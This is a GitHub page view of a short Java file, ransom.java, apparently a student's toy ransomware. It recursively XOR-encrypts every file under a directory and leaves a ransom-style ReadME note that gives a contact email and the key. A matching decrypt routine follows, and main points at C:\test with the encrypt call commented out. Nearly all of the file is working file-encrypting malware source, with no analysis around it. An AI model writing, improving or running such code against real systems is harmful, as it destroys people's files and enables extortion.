Repository navigation
Expand file tree
/
Copy pathransom.java
More file actions
61 lines (59 loc) · 2.1 KB
/
Copy pathransom.java
File metadata and controls
61 lines (59 loc) · 2.1 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import java.io.File;
import java.io.FileWriter;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.stream.Stream;
public class ransom{
public static void EncryptAll(String path, String key){
Path dirPath = Paths.get(path);
try (Stream<Path> paths = Files.list(dirPath)) {
System.out.println("Files:");
paths.forEach(file -> {
if (Files.isRegularFile(file)) {
xorEncryptClass.encryptFile(file.toString(), key);
}});
File file = new File(dirPath.toString()+"\\(rewar)ReadME.txt");
FileWriter writer = new FileWriter(file);
writer.write("Hello, Your all files are encrypted. don't be panic if it is accidentally just email:prashantrewar1311@gmail.com if you need any help. Your key is: "+key);
writer.close();
} catch (IOException e) {
e.printStackTrace();
}
try (Stream<Path> directories = Files.list(dirPath).filter(Files::isDirectory);){
directories.forEach(dir->{
EncryptAll(path + "\\" + dir.getFileName(), key);
});
}
catch (IOException e) {
e.printStackTrace();
}
}
public static void DecryptAll(String path, String key){
Path dirPath = Paths.get(path);
try (Stream<Path> paths = Files.list(dirPath)) {
System.out.println("Folder: ");
paths.forEach(file -> {
if (Files.isRegularFile(file)) {
xorEncryptClass.decryptFile(file.toString(), key);
}});
} catch (IOException e) {
e.printStackTrace();
}
try (Stream<Path> directories = Files.list(dirPath).filter(Files::isDirectory);){
directories.forEach(dir->{
DecryptAll(path + "\\" + dir.getFileName(), key);
});
}
catch (IOException e) {
e.printStackTrace();
}
}
public static void main(String[] args){
String path = "C:\\test";
String key = "secret";
// EncryptAll(path,key);
DecryptAll(path,key);
}
}